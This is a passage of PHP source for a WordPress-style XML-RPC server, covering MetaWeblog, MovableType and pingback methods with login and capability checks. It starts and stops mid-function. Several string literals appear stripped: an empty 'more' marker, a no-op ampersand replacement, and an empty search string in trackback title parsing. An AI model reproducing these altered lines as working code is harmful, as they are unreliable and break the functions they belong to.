"\n"; $found = false; $enclosures = get_post_meta( $post_ID, 'enclosure' ); if ( $enclosures ) { foreach ( $enclosures as $enc ) { // This method used to omit the trailing new line. #23219 if ( rtrim( $enc, "\n" ) == rtrim( $encstring, "\n" ) ) { $found = true; break; } } } if ( ! $found ) { add_post_meta( $post_ID, 'enclosure', $encstring ); } } } /** * Attach upload to a post. * * @since 2.1.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @param int $post_ID Post ID. * @param string $post_content Post Content for attachment. */ public function attach_uploads( $post_ID, $post_content ) { global $wpdb; // Find any unattached files. $attachments = $wpdb->get_results( "SELECT ID, guid FROM {$wpdb->posts} WHERE post_parent = '0' AND post_type = 'attachment'" ); if ( is_array( $attachments ) ) { foreach ( $attachments as $file ) { if ( ! empty( $file->guid ) && strpos( $post_content, $file->guid ) !== false ) { $wpdb->update( $wpdb->posts, array( 'post_parent' => $post_ID ), array( 'ID' => $file->ID ) ); } } } } /** * Edit a post. * * @since 1.5.0 * * @param array $args { * Method arguments. Note: arguments must be ordered as documented. * * @type int $blog_id (unused) * @type string $username * @type string $password * @type array $content_struct * @type int $publish * } * @return true|IXR_Error True on success. */ public function mw_editPost( $args ) { $this->escape( $args ); $post_ID = (int) $args[0]; $username = $args[1]; $password = $args[2]; $content_struct = $args[3]; $publish = isset( $args[4] ) ? $args[4] : 0; $user = $this->login( $username, $password ); if ( ! $user ) { return $this->error; } /** This action is documented in wp-includes/class-wp-xmlrpc-server.php */ do_action( 'xmlrpc_call', 'metaWeblog.editPost', $args, $this ); $postdata = get_post( $post_ID, ARRAY_A ); /* * If there is no post data for the give post ID, stop now and return an error. * Otherwise a new post will be created (which was the old behavior). */ if ( ! $postdata || empty( $postdata['ID'] ) ) { return new IXR_Error( 404, __( 'Invalid post ID.' ) ); } if ( ! current_user_can( 'edit_post', $post_ID ) ) { return new IXR_Error( 401, __( 'Sorry, you are not allowed to edit this post.' ) ); } // Use wp.editPost to edit post types other than post and page. if ( ! in_array( $postdata['post_type'], array( 'post', 'page' ), true ) ) { return new IXR_Error( 401, __( 'Invalid post type.' ) ); } // Thwart attempt to change the post type. if ( ! empty( $content_struct['post_type'] ) && ( $content_struct['post_type'] != $postdata['post_type'] ) ) { return new IXR_Error( 401, __( 'The post type may not be changed.' ) ); } // Check for a valid post format if one was given. if ( isset( $content_struct['wp_post_format'] ) ) { $content_struct['wp_post_format'] = sanitize_key( $content_struct['wp_post_format'] ); if ( ! array_key_exists( $content_struct['wp_post_format'], get_post_format_strings() ) ) { return new IXR_Error( 404, __( 'Invalid post format.' ) ); } } $this->escape( $postdata ); $ID = $postdata['ID']; $post_content = $postdata['post_content']; $post_title = $postdata['post_title']; $post_excerpt = $postdata['post_excerpt']; $post_password = $postdata['post_password']; $post_parent = $postdata['post_parent']; $post_type = $postdata['post_type']; $menu_order = $postdata['menu_order']; $ping_status = $postdata['ping_status']; $comment_status = $postdata['comment_status']; // Let WordPress manage slug if none was provided. $post_name = $postdata['post_name']; if ( isset( $content_struct['wp_slug'] ) ) { $post_name = $content_struct['wp_slug']; } // Only use a password if one was given. if ( isset( $content_struct['wp_password'] ) ) { $post_password = $content_struct['wp_password']; } // Only set a post parent if one was given. if ( isset( $content_struct['wp_page_parent_id'] ) ) { $post_parent = $content_struct['wp_page_parent_id']; } // Only set the 'menu_order' if it was given. if ( isset( $content_struct['wp_page_order'] ) ) { $menu_order = $content_struct['wp_page_order']; } $page_template = null; if ( ! empty( $content_struct['wp_page_template'] ) && 'page' === $post_type ) { $page_template = $content_struct['wp_page_template']; } $post_author = $postdata['post_author']; // If an author id was provided then use it instead. if ( isset( $content_struct['wp_author_id'] ) ) { // Check permissions if attempting to switch author to or from another user. if ( $user->ID != $content_struct['wp_author_id'] || $user->ID != $post_author ) { switch ( $post_type ) { case 'post': if ( ! current_user_can( 'edit_others_posts' ) ) { return new IXR_Error( 401, __( 'Sorry, you are not allowed to change the post author as this user.' ) ); } break; case 'page': if ( ! current_user_can( 'edit_others_pages' ) ) { return new IXR_Error( 401, __( 'Sorry, you are not allowed to change the page author as this user.' ) ); } break; default: return new IXR_Error( 401, __( 'Invalid post type.' ) ); } $post_author = $content_struct['wp_author_id']; } } if ( isset( $content_struct['mt_allow_comments'] ) ) { if ( ! is_numeric( $content_struct['mt_allow_comments'] ) ) { switch ( $content_struct['mt_allow_comments'] ) { case 'closed': $comment_status = 'closed'; break; case 'open': $comment_status = 'open'; break; default: $comment_status = get_default_comment_status( $post_type ); break; } } else { switch ( (int) $content_struct['mt_allow_comments'] ) { case 0: case 2: $comment_status = 'closed'; break; case 1: $comment_status = 'open'; break; default: $comment_status = get_default_comment_status( $post_type ); break; } } } if ( isset( $content_struct['mt_allow_pings'] ) ) { if ( ! is_numeric( $content_struct['mt_allow_pings'] ) ) { switch ( $content_struct['mt_allow_pings'] ) { case 'closed': $ping_status = 'closed'; break; case 'open': $ping_status = 'open'; break; default: $ping_status = get_default_comment_status( $post_type, 'pingback' ); break; } } else { switch ( (int) $content_struct['mt_allow_pings'] ) { case 0: $ping_status = 'closed'; break; case 1: $ping_status = 'open'; break; default: $ping_status = get_default_comment_status( $post_type, 'pingback' ); break; } } } if ( isset( $content_struct['title'] ) ) { $post_title = $content_struct['title']; } if ( isset( $content_struct['description'] ) ) { $post_content = $content_struct['description']; } $post_category = array(); if ( isset( $content_struct['categories'] ) ) { $catnames = $content_struct['categories']; if ( is_array( $catnames ) ) { foreach ( $catnames as $cat ) { $post_category[] = get_cat_ID( $cat ); } } } if ( isset( $content_struct['mt_excerpt'] ) ) { $post_excerpt = $content_struct['mt_excerpt']; } $post_more = isset( $content_struct['mt_text_more'] ) ? $content_struct['mt_text_more'] : null; $post_status = $publish ? 'publish' : 'draft'; if ( isset( $content_struct[ "{$post_type}_status" ] ) ) { switch ( $content_struct[ "{$post_type}_status" ] ) { case 'draft': case 'pending': case 'private': case 'publish': $post_status = $content_struct[ "{$post_type}_status" ]; break; default: $post_status = $publish ? 'publish' : 'draft'; break; } } $tags_input = isset( $content_struct['mt_keywords'] ) ? $content_struct['mt_keywords'] : null; if ( 'publish' === $post_status || 'private' === $post_status ) { if ( 'page' === $post_type && ! current_user_can( 'publish_pages' ) ) { return new IXR_Error( 401, __( 'Sorry, you are not allowed to publish this page.' ) ); } elseif ( ! current_user_can( 'publish_posts' ) ) { return new IXR_Error( 401, __( 'Sorry, you are not allowed to publish this post.' ) ); } } if ( $post_more ) { $post_content = $post_content . '' . $post_more; } $to_ping = null; if ( isset( $content_struct['mt_tb_ping_urls'] ) ) { $to_ping = $content_struct['mt_tb_ping_urls']; if ( is_array( $to_ping ) ) { $to_ping = implode( ' ', $to_ping ); } } // Do some timestamp voodoo. if ( ! empty( $content_struct['date_created_gmt'] ) ) { // We know this is supposed to be GMT, so we're going to slap that Z on there by force. $dateCreated = rtrim( $content_struct['date_created_gmt']->getIso(), 'Z' ) . 'Z'; } elseif ( ! empty( $content_struct['dateCreated'] ) ) { $dateCreated = $content_struct['dateCreated']->getIso(); } // Default to not flagging the post date to be edited unless it's intentional. $edit_date = false; if ( ! empty( $dateCreated ) ) { $post_date = iso8601_to_datetime( $dateCreated ); $post_date_gmt = iso8601_to_datetime( $dateCreated, 'gmt' ); // Flag the post date to be edited. $edit_date = true; } else { $post_date = $postdata['post_date']; $post_date_gmt = $postdata['post_date_gmt']; } // We've got all the data -- post it. $newpost = compact( 'ID', 'post_content', 'post_title', 'post_category', 'post_status', 'post_excerpt', 'comment_status', 'ping_status', 'edit_date', 'post_date', 'post_date_gmt', 'to_ping', 'post_name', 'post_password', 'post_parent', 'menu_order', 'post_author', 'tags_input', 'page_template' ); $result = wp_update_post( $newpost, true ); if ( is_wp_error( $result ) ) { return new IXR_Error( 500, $result->get_error_message() ); } if ( ! $result ) { return new IXR_Error( 500, __( 'Sorry, the post could not be updated.' ) ); } // Only posts can be sticky. if ( 'post' === $post_type && isset( $content_struct['sticky'] ) ) { $data = $newpost; $data['sticky'] = $content_struct['sticky']; $data['post_type'] = 'post'; $error = $this->_toggle_sticky( $data, true ); if ( $error ) { return $error; } } if ( isset( $content_struct['custom_fields'] ) ) { $this->set_custom_fields( $post_ID, $content_struct['custom_fields'] ); } if ( isset( $content_struct['wp_post_thumbnail'] ) ) { // Empty value deletes, non-empty value adds/updates. if ( empty( $content_struct['wp_post_thumbnail'] ) ) { delete_post_thumbnail( $post_ID ); } else { if ( set_post_thumbnail( $post_ID, $content_struct['wp_post_thumbnail'] ) === false ) { return new IXR_Error( 404, __( 'Invalid attachment ID.' ) ); } } unset( $content_struct['wp_post_thumbnail'] ); } // Handle enclosures. $thisEnclosure = isset( $content_struct['enclosure'] ) ? $content_struct['enclosure'] : null; $this->add_enclosure_if_new( $post_ID, $thisEnclosure ); $this->attach_uploads( $ID, $post_content ); // Handle post formats if assigned, validation is handled earlier in this function. if ( isset( $content_struct['wp_post_format'] ) ) { set_post_format( $post_ID, $content_struct['wp_post_format'] ); } /** * Fires after a post has been successfully updated via the XML-RPC MovableType API. * * @since 3.4.0 * * @param int $post_ID ID of the updated post. * @param array $args An array of arguments to update the post. */ do_action( 'xmlrpc_call_success_mw_editPost', $post_ID, $args ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.NotLowercase return true; } /** * Retrieve post. * * @since 1.5.0 * * @param array $args { * Method arguments. Note: arguments must be ordered as documented. * * @type int $blog_id (unused) * @type int $post_ID * @type string $username * @type string $password * } * @return array|IXR_Error */ public function mw_getPost( $args ) { $this->escape( $args ); $post_ID = (int) $args[0]; $username = $args[1]; $password = $args[2]; $user = $this->login( $username, $password ); if ( ! $user ) { return $this->error; } $postdata = get_post( $post_ID, ARRAY_A ); if ( ! $postdata ) { return new IXR_Error( 404, __( 'Invalid post ID.' ) ); } if ( ! current_user_can( 'edit_post', $post_ID ) ) { return new IXR_Error( 401, __( 'Sorry, you are not allowed to edit this post.' ) ); } /** This action is documented in wp-includes/class-wp-xmlrpc-server.php */ do_action( 'xmlrpc_call', 'metaWeblog.getPost', $args, $this ); if ( '' !== $postdata['post_date'] ) { $post_date = $this->_convert_date( $postdata['post_date'] ); $post_date_gmt = $this->_convert_date_gmt( $postdata['post_date_gmt'], $postdata['post_date'] ); $post_modified = $this->_convert_date( $postdata['post_modified'] ); $post_modified_gmt = $this->_convert_date_gmt( $postdata['post_modified_gmt'], $postdata['post_modified'] ); $categories = array(); $catids = wp_get_post_categories( $post_ID ); foreach ( $catids as $catid ) { $categories[] = get_cat_name( $catid ); } $tagnames = array(); $tags = wp_get_post_tags( $post_ID ); if ( ! empty( $tags ) ) { foreach ( $tags as $tag ) { $tagnames[] = $tag->name; } $tagnames = implode( ', ', $tagnames ); } else { $tagnames = ''; } $post = get_extended( $postdata['post_content'] ); $link = get_permalink( $postdata['ID'] ); // Get the author info. $author = get_userdata( $postdata['post_author'] ); $allow_comments = ( 'open' === $postdata['comment_status'] ) ? 1 : 0; $allow_pings = ( 'open' === $postdata['ping_status'] ) ? 1 : 0; // Consider future posts as published. if ( 'future' === $postdata['post_status'] ) { $postdata['post_status'] = 'publish'; } // Get post format. $post_format = get_post_format( $post_ID ); if ( empty( $post_format ) ) { $post_format = 'standard'; } $sticky = false; if ( is_sticky( $post_ID ) ) { $sticky = true; } $enclosure = array(); foreach ( (array) get_post_custom( $post_ID ) as $key => $val ) { if ( 'enclosure' === $key ) { foreach ( (array) $val as $enc ) { $encdata = explode( "\n", $enc ); $enclosure['url'] = trim( htmlspecialchars( $encdata[0] ) ); $enclosure['length'] = (int) trim( $encdata[1] ); $enclosure['type'] = trim( $encdata[2] ); break 2; } } } $resp = array( 'dateCreated' => $post_date, 'userid' => $postdata['post_author'], 'postid' => $postdata['ID'], 'description' => $post['main'], 'title' => $postdata['post_title'], 'link' => $link, 'permaLink' => $link, // Commented out because no other tool seems to use this. // 'content' => $entry['post_content'], 'categories' => $categories, 'mt_excerpt' => $postdata['post_excerpt'], 'mt_text_more' => $post['extended'], 'wp_more_text' => $post['more_text'], 'mt_allow_comments' => $allow_comments, 'mt_allow_pings' => $allow_pings, 'mt_keywords' => $tagnames, 'wp_slug' => $postdata['post_name'], 'wp_password' => $postdata['post_password'], 'wp_author_id' => (string) $author->ID, 'wp_author_display_name' => $author->display_name, 'date_created_gmt' => $post_date_gmt, 'post_status' => $postdata['post_status'], 'custom_fields' => $this->get_custom_fields( $post_ID ), 'wp_post_format' => $post_format, 'sticky' => $sticky, 'date_modified' => $post_modified, 'date_modified_gmt' => $post_modified_gmt, ); if ( ! empty( $enclosure ) ) { $resp['enclosure'] = $enclosure; } $resp['wp_post_thumbnail'] = get_post_thumbnail_id( $postdata['ID'] ); return $resp; } else { return new IXR_Error( 404, __( 'Sorry, no such post.' ) ); } } /** * Retrieve list of recent posts. * * @since 1.5.0 * * @param array $args { * Method arguments. Note: arguments must be ordered as documented. * * @type int $blog_id (unused) * @type string $username * @type string $password * @type int $numberposts * } * @return array|IXR_Error */ public function mw_getRecentPosts( $args ) { $this->escape( $args ); $username = $args[1]; $password = $args[2]; if ( isset( $args[3] ) ) { $query = array( 'numberposts' => absint( $args[3] ) ); } else { $query = array(); } $user = $this->login( $username, $password ); if ( ! $user ) { return $this->error; } if ( ! current_user_can( 'edit_posts' ) ) { return new IXR_Error( 401, __( 'Sorry, you are not allowed to edit posts.' ) ); } /** This action is documented in wp-includes/class-wp-xmlrpc-server.php */ do_action( 'xmlrpc_call', 'metaWeblog.getRecentPosts', $args, $this ); $posts_list = wp_get_recent_posts( $query ); if ( ! $posts_list ) { return array(); } $recent_posts = array(); foreach ( $posts_list as $entry ) { if ( ! current_user_can( 'edit_post', $entry['ID'] ) ) { continue; } $post_date = $this->_convert_date( $entry['post_date'] ); $post_date_gmt = $this->_convert_date_gmt( $entry['post_date_gmt'], $entry['post_date'] ); $post_modified = $this->_convert_date( $entry['post_modified'] ); $post_modified_gmt = $this->_convert_date_gmt( $entry['post_modified_gmt'], $entry['post_modified'] ); $categories = array(); $catids = wp_get_post_categories( $entry['ID'] ); foreach ( $catids as $catid ) { $categories[] = get_cat_name( $catid ); } $tagnames = array(); $tags = wp_get_post_tags( $entry['ID'] ); if ( ! empty( $tags ) ) { foreach ( $tags as $tag ) { $tagnames[] = $tag->name; } $tagnames = implode( ', ', $tagnames ); } else { $tagnames = ''; } $post = get_extended( $entry['post_content'] ); $link = get_permalink( $entry['ID'] ); // Get the post author info. $author = get_userdata( $entry['post_author'] ); $allow_comments = ( 'open' === $entry['comment_status'] ) ? 1 : 0; $allow_pings = ( 'open' === $entry['ping_status'] ) ? 1 : 0; // Consider future posts as published. if ( 'future' === $entry['post_status'] ) { $entry['post_status'] = 'publish'; } // Get post format. $post_format = get_post_format( $entry['ID'] ); if ( empty( $post_format ) ) { $post_format = 'standard'; } $recent_posts[] = array( 'dateCreated' => $post_date, 'userid' => $entry['post_author'], 'postid' => (string) $entry['ID'], 'description' => $post['main'], 'title' => $entry['post_title'], 'link' => $link, 'permaLink' => $link, // Commented out because no other tool seems to use this. // 'content' => $entry['post_content'], 'categories' => $categories, 'mt_excerpt' => $entry['post_excerpt'], 'mt_text_more' => $post['extended'], 'wp_more_text' => $post['more_text'], 'mt_allow_comments' => $allow_comments, 'mt_allow_pings' => $allow_pings, 'mt_keywords' => $tagnames, 'wp_slug' => $entry['post_name'], 'wp_password' => $entry['post_password'], 'wp_author_id' => (string) $author->ID, 'wp_author_display_name' => $author->display_name, 'date_created_gmt' => $post_date_gmt, 'post_status' => $entry['post_status'], 'custom_fields' => $this->get_custom_fields( $entry['ID'] ), 'wp_post_format' => $post_format, 'date_modified' => $post_modified, 'date_modified_gmt' => $post_modified_gmt, 'sticky' => ( 'post' === $entry['post_type'] && is_sticky( $entry['ID'] ) ), 'wp_post_thumbnail' => get_post_thumbnail_id( $entry['ID'] ), ); } return $recent_posts; } /** * Retrieve the list of categories on a given blog. * * @since 1.5.0 * * @param array $args { * Method arguments. Note: arguments must be ordered as documented. * * @type int $blog_id (unused) * @type string $username * @type string $password * } * @return array|IXR_Error */ public function mw_getCategories( $args ) { $this->escape( $args ); $username = $args[1]; $password = $args[2]; $user = $this->login( $username, $password ); if ( ! $user ) { return $this->error; } if ( ! current_user_can( 'edit_posts' ) ) { return new IXR_Error( 401, __( 'Sorry, you must be able to edit posts on this site in order to view categories.' ) ); } /** This action is documented in wp-includes/class-wp-xmlrpc-server.php */ do_action( 'xmlrpc_call', 'metaWeblog.getCategories', $args, $this ); $categories_struct = array(); $cats = get_categories( array( 'get' => 'all' ) ); if ( $cats ) { foreach ( $cats as $cat ) { $struct = array(); $struct['categoryId'] = $cat->term_id; $struct['parentId'] = $cat->parent; $struct['description'] = $cat->name; $struct['categoryDescription'] = $cat->description; $struct['categoryName'] = $cat->name; $struct['htmlUrl'] = esc_html( get_category_link( $cat->term_id ) ); $struct['rssUrl'] = esc_html( get_category_feed_link( $cat->term_id, 'rss2' ) ); $categories_struct[] = $struct; } } return $categories_struct; } /** * Uploads a file, following your settings. * * Adapted from a patch by Johann Richard. * * @link http://mycvs.org/archives/2004/06/30/file-upload-to-wordpress-in-ecto/ * * @since 1.5.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @param array $args { * Method arguments. Note: arguments must be ordered as documented. * * @type int $blog_id (unused) * @type string $username * @type string $password * @type array $data * } * @return array|IXR_Error */ public function mw_newMediaObject( $args ) { global $wpdb; $username = $this->escape( $args[1] ); $password = $this->escape( $args[2] ); $data = $args[3]; $name = sanitize_file_name( $data['name'] ); $type = $data['type']; $bits = $data['bits']; $user = $this->login( $username, $password ); if ( ! $user ) { return $this->error; } /** This action is documented in wp-includes/class-wp-xmlrpc-server.php */ do_action( 'xmlrpc_call', 'metaWeblog.newMediaObject', $args, $this ); if ( ! current_user_can( 'upload_files' ) ) { $this->error = new IXR_Error( 401, __( 'Sorry, you are not allowed to upload files.' ) ); return $this->error; } if ( is_multisite() && upload_is_user_over_quota( false ) ) { $this->error = new IXR_Error( 401, sprintf( /* translators: %s: Allowed space allocation. */ __( 'Sorry, you have used your space allocation of %s. Please delete some files to upload more files.' ), size_format( get_space_allowed() * MB_IN_BYTES ) ) ); return $this->error; } /** * Filters whether to preempt the XML-RPC media upload. * * Passing a truthy value will effectively short-circuit the media upload, * returning that value as a 500 error instead. * * @since 2.1.0 * * @param bool $error Whether to pre-empt the media upload. Default false. */ $upload_err = apply_filters( 'pre_upload_error', false ); if ( $upload_err ) { return new IXR_Error( 500, $upload_err ); } $upload = wp_upload_bits( $name, null, $bits ); if ( ! empty( $upload['error'] ) ) { /* translators: 1: File name, 2: Error message. */ $errorString = sprintf( __( 'Could not write file %1$s (%2$s).' ), $name, $upload['error'] ); return new IXR_Error( 500, $errorString ); } // Construct the attachment array. $post_id = 0; if ( ! empty( $data['post_id'] ) ) { $post_id = (int) $data['post_id']; if ( ! current_user_can( 'edit_post', $post_id ) ) { return new IXR_Error( 401, __( 'Sorry, you are not allowed to edit this post.' ) ); } } $attachment = array( 'post_title' => $name, 'post_content' => '', 'post_type' => 'attachment', 'post_parent' => $post_id, 'post_mime_type' => $type, 'guid' => $upload['url'], ); // Save the data. $id = wp_insert_attachment( $attachment, $upload['file'], $post_id ); wp_update_attachment_metadata( $id, wp_generate_attachment_metadata( $id, $upload['file'] ) ); /** * Fires after a new attachment has been added via the XML-RPC MovableType API. * * @since 3.4.0 * * @param int $id ID of the new attachment. * @param array $args An array of arguments to add the attachment. */ do_action( 'xmlrpc_call_success_mw_newMediaObject', $id, $args ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.NotLowercase $struct = $this->_prepare_media_item( get_post( $id ) ); // Deprecated values. $struct['id'] = $struct['attachment_id']; $struct['file'] = $struct['title']; $struct['url'] = $struct['link']; return $struct; } /* * MovableType API functions. * Specs on http://www.movabletype.org/docs/mtmanual_programmatic.html */ /** * Retrieve the post titles of recent posts. * * @since 1.5.0 * * @param array $args { * Method arguments. Note: arguments must be ordered as documented. * * @type int $blog_id (unused) * @type string $username * @type string $password * @type int $numberposts * } * @return array|IXR_Error */ public function mt_getRecentPostTitles( $args ) { $this->escape( $args ); $username = $args[1]; $password = $args[2]; if ( isset( $args[3] ) ) { $query = array( 'numberposts' => absint( $args[3] ) ); } else { $query = array(); } $user = $this->login( $username, $password ); if ( ! $user ) { return $this->error; } /** This action is documented in wp-includes/class-wp-xmlrpc-server.php */ do_action( 'xmlrpc_call', 'mt.getRecentPostTitles', $args, $this ); $posts_list = wp_get_recent_posts( $query ); if ( ! $posts_list ) { $this->error = new IXR_Error( 500, __( 'Either there are no posts, or something went wrong.' ) ); return $this->error; } $recent_posts = array(); foreach ( $posts_list as $entry ) { if ( ! current_user_can( 'edit_post', $entry['ID'] ) ) { continue; } $post_date = $this->_convert_date( $entry['post_date'] ); $post_date_gmt = $this->_convert_date_gmt( $entry['post_date_gmt'], $entry['post_date'] ); $recent_posts[] = array( 'dateCreated' => $post_date, 'userid' => $entry['post_author'], 'postid' => (string) $entry['ID'], 'title' => $entry['post_title'], 'post_status' => $entry['post_status'], 'date_created_gmt' => $post_date_gmt, ); } return $recent_posts; } /** * Retrieve list of all categories on blog. * * @since 1.5.0 * * @param array $args { * Method arguments. Note: arguments must be ordered as documented. * * @type int $blog_id (unused) * @type string $username * @type string $password * } * @return array|IXR_Error */ public function mt_getCategoryList( $args ) { $this->escape( $args ); $username = $args[1]; $password = $args[2]; $user = $this->login( $username, $password ); if ( ! $user ) { return $this->error; } if ( ! current_user_can( 'edit_posts' ) ) { return new IXR_Error( 401, __( 'Sorry, you must be able to edit posts on this site in order to view categories.' ) ); } /** This action is documented in wp-includes/class-wp-xmlrpc-server.php */ do_action( 'xmlrpc_call', 'mt.getCategoryList', $args, $this ); $categories_struct = array(); $cats = get_categories( array( 'hide_empty' => 0, 'hierarchical' => 0, ) ); if ( $cats ) { foreach ( $cats as $cat ) { $struct = array(); $struct['categoryId'] = $cat->term_id; $struct['categoryName'] = $cat->name; $categories_struct[] = $struct; } } return $categories_struct; } /** * Retrieve post categories. * * @since 1.5.0 * * @param array $args { * Method arguments. Note: arguments must be ordered as documented. * * @type int $post_ID * @type string $username * @type string $password * } * @return array|IXR_Error */ public function mt_getPostCategories( $args ) { $this->escape( $args ); $post_ID = (int) $args[0]; $username = $args[1]; $password = $args[2]; $user = $this->login( $username, $password ); if ( ! $user ) { return $this->error; } if ( ! get_post( $post_ID ) ) { return new IXR_Error( 404, __( 'Invalid post ID.' ) ); } if ( ! current_user_can( 'edit_post', $post_ID ) ) { return new IXR_Error( 401, __( 'Sorry, you are not allowed to edit this post.' ) ); } /** This action is documented in wp-includes/class-wp-xmlrpc-server.php */ do_action( 'xmlrpc_call', 'mt.getPostCategories', $args, $this ); $categories = array(); $catids = wp_get_post_categories( (int) $post_ID ); // First listed category will be the primary category. $isPrimary = true; foreach ( $catids as $catid ) { $categories[] = array( 'categoryName' => get_cat_name( $catid ), 'categoryId' => (string) $catid, 'isPrimary' => $isPrimary, ); $isPrimary = false; } return $categories; } /** * Sets categories for a post. * * @since 1.5.0 * * @param array $args { * Method arguments. Note: arguments must be ordered as documented. * * @type int $post_ID * @type string $username * @type string $password * @type array $categories * } * @return true|IXR_Error True on success. */ public function mt_setPostCategories( $args ) { $this->escape( $args ); $post_ID = (int) $args[0]; $username = $args[1]; $password = $args[2]; $categories = $args[3]; $user = $this->login( $username, $password ); if ( ! $user ) { return $this->error; } /** This action is documented in wp-includes/class-wp-xmlrpc-server.php */ do_action( 'xmlrpc_call', 'mt.setPostCategories', $args, $this ); if ( ! get_post( $post_ID ) ) { return new IXR_Error( 404, __( 'Invalid post ID.' ) ); } if ( ! current_user_can( 'edit_post', $post_ID ) ) { return new IXR_Error( 401, __( 'Sorry, you are not allowed to edit this post.' ) ); } $catids = array(); foreach ( $categories as $cat ) { $catids[] = $cat['categoryId']; } wp_set_post_categories( $post_ID, $catids ); return true; } /** * Retrieve an array of methods supported by this server. * * @since 1.5.0 * * @return array */ public function mt_supportedMethods() { /** This action is documented in wp-includes/class-wp-xmlrpc-server.php */ do_action( 'xmlrpc_call', 'mt.supportedMethods', array(), $this ); return array_keys( $this->methods ); } /** * Retrieve an empty array because we don't support per-post text filters. * * @since 1.5.0 */ public function mt_supportedTextFilters() { /** This action is documented in wp-includes/class-wp-xmlrpc-server.php */ do_action( 'xmlrpc_call', 'mt.supportedTextFilters', array(), $this ); /** * Filters the MoveableType text filters list for XML-RPC. * * @since 2.2.0 * * @param array $filters An array of text filters. */ return apply_filters( 'xmlrpc_text_filters', array() ); } /** * Retrieve trackbacks sent to a given post. * * @since 1.5.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @param int $post_ID * @return array|IXR_Error */ public function mt_getTrackbackPings( $post_ID ) { global $wpdb; /** This action is documented in wp-includes/class-wp-xmlrpc-server.php */ do_action( 'xmlrpc_call', 'mt.getTrackbackPings', $post_ID, $this ); $actual_post = get_post( $post_ID, ARRAY_A ); if ( ! $actual_post ) { return new IXR_Error( 404, __( 'Sorry, no such post.' ) ); } $comments = $wpdb->get_results( $wpdb->prepare( "SELECT comment_author_url, comment_content, comment_author_IP, comment_type FROM $wpdb->comments WHERE comment_post_ID = %d", $post_ID ) ); if ( ! $comments ) { return array(); } $trackback_pings = array(); foreach ( $comments as $comment ) { if ( 'trackback' === $comment->comment_type ) { $content = $comment->comment_content; $title = substr( $content, 8, ( strpos( $content, '' ) - 8 ) ); $trackback_pings[] = array( 'pingTitle' => $title, 'pingURL' => $comment->comment_author_url, 'pingIP' => $comment->comment_author_IP, ); } } return $trackback_pings; } /** * Sets a post's publish status to 'publish'. * * @since 1.5.0 * * @param array $args { * Method arguments. Note: arguments must be ordered as documented. * * @type int $post_ID * @type string $username * @type string $password * } * @return int|IXR_Error */ public function mt_publishPost( $args ) { $this->escape( $args ); $post_ID = (int) $args[0]; $username = $args[1]; $password = $args[2]; $user = $this->login( $username, $password ); if ( ! $user ) { return $this->error; } /** This action is documented in wp-includes/class-wp-xmlrpc-server.php */ do_action( 'xmlrpc_call', 'mt.publishPost', $args, $this ); $postdata = get_post( $post_ID, ARRAY_A ); if ( ! $postdata ) { return new IXR_Error( 404, __( 'Invalid post ID.' ) ); } if ( ! current_user_can( 'publish_posts' ) || ! current_user_can( 'edit_post', $post_ID ) ) { return new IXR_Error( 401, __( 'Sorry, you are not allowed to publish this post.' ) ); } $postdata['post_status'] = 'publish'; // Retain old categories. $postdata['post_category'] = wp_get_post_categories( $post_ID ); $this->escape( $postdata ); return wp_update_post( $postdata ); } /* * Pingback functions. * Specs on www.hixie.ch/specs/pingback/pingback */ /** * Retrieves a pingback and registers it. * * @since 1.5.0 * * @param array $args { * Method arguments. Note: arguments must be ordered as documented. * * @type string $pagelinkedfrom * @type string $pagelinkedto * } * @return string|IXR_Error */ public function pingback_ping( $args ) { global $wpdb; /** This action is documented in wp-includes/class-wp-xmlrpc-server.php */ do_action( 'xmlrpc_call', 'pingback.ping', $args, $this ); $this->escape( $args ); $pagelinkedfrom = str_replace( '&', '&', $args[0] ); $pagelinkedto = str_replace( '&', '&', $args[1] ); $pagelinkedto = str_replace( '&', '&', $pagelinkedto ); /** * Filters the pingback source URI. * * @since 3.6.0 * * @param string $pagelinkedfrom URI of the page linked from. * @param string $pagelinkedto URI of the page linked to. */ $pagelinkedfrom = apply_filters( 'pingback_ping_source_uri', $pagelinkedfrom, $pagelinkedto ); if ( ! $pagelinkedfrom ) { return $this->pingback_error( 0, __( 'A valid URL was not provided.' ) ); } // Check if the page linked to is on our site. $pos1 = strpos( $pagelinkedto, str_replace( array( 'http://www.', 'http://', 'https://www.', 'https://' ), '', get_option( 'home' ) ) ); if ( ! $pos1 ) { return $this->pingback_error( 0, __( 'Is there no link to us?' ) ); } /* * Let's find which post is linked to. * FIXME: Does url_to_postid() cover all these cases already? * If so, then let's use it and drop the old code. */ $urltest = parse_url( $pagelinkedto ); $post_ID = url_to_postid( $pagelinkedto ); if ( $post_ID ) { // $way } elseif ( isset( $urltest['path'] ) && preg_match( '#p/[0-9]{1,}#', $urltest['path'], $match ) ) { // The path defines the post_ID (archives/p/XXXX). $blah = explode( '/', $match[0] ); $post_ID = (int) $blah[1]; } elseif ( isset( $urltest['query'] ) && preg_match( '#p=[0-9]{1,}#', $urltest['query'], $match ) ) { // The query string defines the post_ID (?p=XXXX). $blah = explode( '=', $match[0] ); $post_ID = (int) $blah[1]; } elseif ( isset( $urltest['fragment'] ) ) { // An #anchor is there, it's either... if ( (int) $urltest['fragment'] ) { // ...an integer #XXXX (simplest case), $post_ID = (int) $urltest['fragment']; } elseif ( preg_match( '/post-[0-9]+/', $urltest['fragment'] ) ) { // ...a post ID in the form 'post-###', $post_ID = preg_replace( '/[^0-9]+/', '', $urltest['fragment'] ); } elseif ( is_string( $urltest['fragment'] ) ) { // ...or a string #title, a little more complicated. $title = preg_replace( '/[^a-z0-9]/i', '.', $urltest['fragment'] ); $sql = $wpdb->prepare( "SELECT ID FROM $wpdb->posts WHERE post_title RLIKE %s", $title ); $post_ID = $wpdb->get_var( $sql ); if ( ! $post_ID ) { // Returning unknown error '0' is better than die()'ing. return $this->pingback_error( 0, '' ); } } } else { // TODO: Attempt to extract a post ID from the given URL. return $this->pingback_error( 33, __( 'The specified target URL cannot be used as a target. It either doesn’t exist, or it is not a pingback-enabled resource.' ) ); } $post_ID = (int) $post_ID; $post = get_post( $post_ID ); if ( ! $post ) { // Post not found. return $this->pingback_error( 33, __( 'The specified target URL cannot be used as a target. It either doesn’t exist, or it is not a pingback-enabled resource.' ) ); } if ( url_to_postid( $pagelinkedfrom ) == $post_ID ) { return $this->pingback_error( 0, __( 'The source URL and the target URL cannot both point to the same resource.' ) ); } // Check if pings are on. if ( ! 